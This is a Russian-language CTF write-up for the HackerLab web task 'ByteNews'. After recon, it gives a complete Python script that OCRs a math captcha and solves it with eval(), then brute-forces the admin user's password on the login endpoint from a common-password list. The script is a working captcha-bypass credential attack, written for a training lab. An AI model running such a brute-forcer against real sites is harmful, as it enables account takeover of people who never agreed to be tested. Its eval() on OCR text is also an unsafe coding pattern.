Writeup Web | ByteNews | HackerLab

PreviewhackerlabByteNews.webp

Название: ByteNews
Категория: Web
Уровень: Лёгкий
Ссылка на задание: https://hackerlab.pro/categories/web/addd888c-1030-4835-bb22-6b19338a881a
XP: 300


Введение

На этот таск тоже есть официальный WriteUp, однако как мне показалось слабо расписана логика программы + я хочу показать свой код и рассказать о нём. Хоть задание указано как лёгкое, я бы порекомендовал модераторам платформы пересмотреть уровень сложности на средний, поскольку:
  1. Нужно писать python код
  2. Требуется знание нетривиальных библиотек и принципы их работы
Ну ладно, давайте к разбору.

Reconnaissance

Нас стречает новостной сайт из мира IT. Обратим внимание на то, что все публикации сделаны от пользователя john, а также на то, что постов всего 4. Это говорит о том, что ресурс только начал работу и скорее всего john и есть администратор ресурса.
1782512396130.webp

Переходим на вкладку Login и видим большую неприятность в виде Captcha.
1782512418967.webp

Первое что я попробовал была SQLi, но она не прошла. Тогда я подумал о том, что капча здесь не просто так, и нас хотят заставить брутить, но не через ffuf или hydra как мы любим, а чтобы мы немного помучались. Для этого реализовали captcha.
Из исходного кода узнаём что авторизация происходит по пути /auth.php.
1782512570357.webp

А captcha обычный php файл.
1782512615262.webp

Хорошо. Нужную информацию собрали, переходим к разработке программы.


Weaponization

Итак, нам точно понадобятся 3 библиотеки:
  1. Для работы с заросами post/get
  2. Для сохранения изображения
  3. Для обработки изображения
Затем нам нужно создать скрипт который будет обращаться к captcha.php каждый раз с текущей сессией (иначе ответ будет отправляться к старой каптче). Далее в этом скрипте мы получаем изображение по пути http://62.173.140.174:16095/captcha.php и записываем его в файл, но не разом, а чанками, потому что тогда изображение ломается.
Потом мы открываем изображение в python и распазнаём текст на картинке и очищаем его от мусора (невидмых переносов).

Теперь нужно "очистить" текст, чтобы мы получили только числа и знаки действий, без равно и знака вопроса. Для этого пишем регулярное выражение:
clean = re.sub(r"[^0-9+-*/]", "", raw_text)
и с помощью функции eval() считаем пример и записываем ответ.

Теперь отправляем запрос с сохранённой сессией с data где указываем все необходимые переменные.
Python:
r = session.post('http://{IP}:16095/auth.php', data={'username': 'john','password':str(word).strip(),'captcha':str(solve).strip()})
(Заранее очистил значения и перевёл в строку)
Далее анализируем ответ сервера, если в ответе есть слово "captcha" - это означает, что ответ не был принят, и программа нас не авторизовала и всё ещё требует captcha. Если captcha исчезла, значит система нас пропустила. (На самом деле можно было сравнить по "Invalid username or password" или размеру текста, разницы нет в контексте CTF).

Представляю свой код для анализа:
Python:
import requests
from PIL import Image
import pytesseract
import re

def main():
    with open("/usr/share/seclists/Passwords/Common-Credentials/xato-net-10-million-passwords-100.txt", "r") as passwords:
        with requests.Session() as session:
            for word in passwords:
                #print(word)
                get_img = session.get('http://{IP}:16095/captcha.php')
                with open("captcha.png", "wb") as file:
                    for chunk in get_img.iter_content(chunk_size=8192):
                        file.write(chunk)
            
                with Image.open("captcha.png") as img:
                    #cconfig = r"--psm 7 -c tessedit_char_whitelist=0123456789+-*/="
                    cconfig = r"--psm 7"
                    raw_text = pytesseract.image_to_string(img, config=cconfig).strip()       
            
                    clean = re.sub(r"[^0-9+-*/]", "", raw_text) #
                    solve = eval(clean)
                    #print(solve)
            
                r = session.post('http://{IP}:16095/auth.php', data={'username': 'john','password':str(word).strip(),'captcha':str(solve).strip()})
                if "captcha" in r.text:
                    print("Password:",str(word),"|","Captcha:",str(clean),"|","Answer:",eval(clean),"|", "login? ","no")
                    #print("Captcha:",clean,"Solve:",solve)
                    #print(r.text)
                    #print(r.request.body)
                else:
                    print("==========================================")
                    print("Password:",str(word),"|","Captcha:",str(clean),"|","Answer:",eval(clean),"|", "login? ","YES")
                    print(r.request.body)
                    print("==========================================")
                    break
            

if __name__ == "__main__":
    main()
Специально не удалял принты, чтобы было видна логика, что проверять, как сервер отвечает и что вы отправляете, а также мои ошибки.
Фиксы моего кода или ваш код приветствуются.


Privilege Escalation

Авторизуемся под паролем который нашли и забираем флаг.
flag.webp
 

Вложения

  • 1782512545664.webp
    1782512545664.webp
    52,2 КБ · Просмотры: 0
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🧭 Навигатор · ИБ 2026
Не знаешь, какой трек твой?
5 направлений ИБ, реальные зарплаты и точка входа для каждого — в одном треде.
JuniorSenior+
100K → 600K+ ₽ /мес
Открыть навигатор →

Популярный контент

🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab